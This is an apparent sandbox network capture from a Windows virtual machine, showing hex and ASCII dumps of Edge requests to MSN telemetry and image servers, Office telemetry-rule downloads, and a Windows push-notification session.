2024-11-23 23:06:55 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732403212053&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3733 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; _EDGE_S=F=1&SID=1FF55F8CADA865E03E434ACCAC756444; _EDGE_V=1
2024-11-23 23:06:55 UTC	3733	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 32 33 3a 30 36 3a 35 32 2e 30 34 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 36 37 39 32 34 35 37 2d 38 62 37 61 2d 34 36 61 64 2d 61 37 32 62 2d 31 62 32 62 61 64 39 64 30 63 39 63 22 2c 22 65 70 6f 63 68 22 3a 22 36 38 35 33 30 31 34 33 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-23T23:06:52.048Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"06792457-8b7a-46ad-a72b-1b2bad9d0c9c","epoch":"685301433"},"app":{"locale"
2024-11-23 23:06:55 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6eda68f958244d5c8c9e4c4222dc308b&HASH=6eda&LV=202411&V=4&LU=1732403215314; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 23:06:55 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e9d4176c16ee422992d10740e8ad0dd9; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 23:36:55 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3261 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 23:06:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49915	104.117.182.25	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:55 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:55 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=139712 Expires: Mon, 25 Nov 2024 13:55:27 GMT Date: Sat, 23 Nov 2024 23:06:55 GMT Connection: close
2024-11-23 23:06:55 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49910	104.117.182.25	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:55 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Wed, 20 Nov 2024 00:46:19 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: b1a24144-11f9-49dd-8527-fd854663f54d Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=92370 Expires: Mon, 25 Nov 2024 00:46:25 GMT Date: Sat, 23 Nov 2024 23:06:55 GMT Connection: close
2024-11-23 23:06:55 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49913	104.117.182.25	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:55 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:55 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=224475 Expires: Tue, 26 Nov 2024 13:28:10 GMT Date: Sat, 23 Nov 2024 23:06:55 GMT Connection: close
2024-11-23 23:06:55 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49912	104.117.182.25	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:55 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:55 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=123097 Expires: Mon, 25 Nov 2024 09:18:32 GMT Date: Sat, 23 Nov 2024 23:06:55 GMT Connection: close
2024-11-23 23:06:55 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:55 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3aa21312-901e-0016-730f-3defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230655Z-178bfbc474bfw4gbhC1NYCunf4000000057g000000000uza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:55 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230655Z-178bfbc474bbbqrhhC1NYCvw7400000005c0000000001dq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:56 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:55 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dd6dc7e9-901e-008f-3238-3c67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230655Z-15b8b599d88s6mj9hC1TEBur3000000003eg000000007qcf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49908	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:56 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 35 2b 6a 49 32 44 33 5a 70 55 4b 4a 62 2b 44 52 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 66 61 34 33 34 39 37 63 35 66 30 37 38 33 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 5+jI2D3ZpUKJb+DR.1Context: cfa43497c5f07834
2024-11-23 23:06:56 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 23:06:56 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 35 2b 6a 49 32 44 33 5a 70 55 4b 4a 62 2b 44 52 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 66 61 34 33 34 39 37 63 35 66 30 37 38 33 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 41 73 38 55 6c 4d 30 77 38 36 50 6e 44 55 43 67 54 61 38 72 6f 6b 47 4a 50 6d 39 4a 51 58 46 73 52 54 58 4d 4b 68 36 77 41 46 33 6e 47 51 2b 7a 72 62 47 70 50 58 61 4c 49 58 42 76 67 79 37 52 6d 65 54 72 68 38 4b 70 31 45 73 50 79 44 37 39 78 66 56 57 6f 64 6b 2f 72 74 4a 48 63 55 34 79 6f 71 7a 30 6b 43 72 52 48 6d 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 5+jI2D3ZpUKJb+DR.2Context: cfa43497c5f07834<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefAs8UlM0w86PnDUCgTa8rokGJPm9JQXFsRTXMKh6wAF3nGQ+zrbGpPXaLIXBvgy7RmeTrh8Kp1EsPyD79xfVWodk/rtJHcU4yoqz0kCrRHmW
2024-11-23 23:06:56 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 35 2b 6a 49 32 44 33 5a 70 55 4b 4a 62 2b 44 52 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 66 61 34 33 34 39 37 63 35 66 30 37 38 33 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 5+jI2D3ZpUKJb+DR.3Context: cfa43497c5f07834<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 23:06:56 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 23:06:56 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 70 54 51 48 78 32 2b 5a 55 2b 4b 30 6e 42 61 46 43 44 36 39 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qpTQHx2+ZU+K0nBaFCD69Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49917	13.107.246.40	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
